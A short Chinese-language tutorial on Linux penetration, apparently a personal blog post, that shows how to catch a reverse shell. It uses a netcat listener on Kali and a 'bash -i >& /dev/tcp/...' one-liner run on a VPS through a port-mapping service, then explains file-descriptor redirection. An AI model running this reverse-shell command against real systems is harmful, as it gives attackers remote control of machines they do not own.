linux渗透（一）

admin

环境准备：

• kali linux 192.168.6.100
• centos7 (外网vps)
• 花生壳 （用来端口映射）
  

开始
先在kali中执行命令
[pre]
nc -lvp 5555
[/pre]
进行端口监听，需要注意的是此处端口为本地kali端口。


然后在外网vps上执行下面命令
[pre]
bash -i >& /dev/tcp/103.46.128.49/25247 0>&1
[/pre]


回车后我们在kali中可以看到成功得到了shell
需要注意的是，这里的ip和端口为花生壳映射的端口的和ip



原理分析
linux文件描述符：linux shell下有三种标准的文件描述符，分别如下：

0 - stdin 代表标准输入,使用<或<<1 - stdout 代表标准输出,使用>或>>2 - stderr 代表标准错误输出,使用2>或2>>
还有就是>&这个符号的含义，最好的理解是这样的：

当>&后面接文件时，表示将标准输出和标准错误输出重定向至文件。当>&后面接文件描述符时，表示将前面的文件描述符重定向至后面的文件描述符